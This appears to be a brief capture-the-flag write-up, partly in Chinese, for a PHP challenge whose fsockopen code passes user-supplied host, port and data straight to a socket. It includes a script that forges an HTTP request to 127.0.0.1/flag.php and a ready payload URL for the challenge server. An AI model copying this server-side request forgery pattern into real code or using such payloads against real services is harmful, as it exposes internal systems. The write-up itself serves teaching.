<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
fsockopen函数是 PHP 中用于建立网络连接的函数之一。它的作用是创建一个套接字(socket)连接到指定的远程服务器和端口,并返回一个可以用于读写数据的套接字资源。这个函数通常用于客户端与服务器之间的通信
判断成功之后会讲data内容进行写入,这时候就可以进行伪造ssrf。写入我们伪造的请求头
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
echo $out;
echo base64_encode($out)
?>
payload:
http://node5.anna.nssctf.cn:28832/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=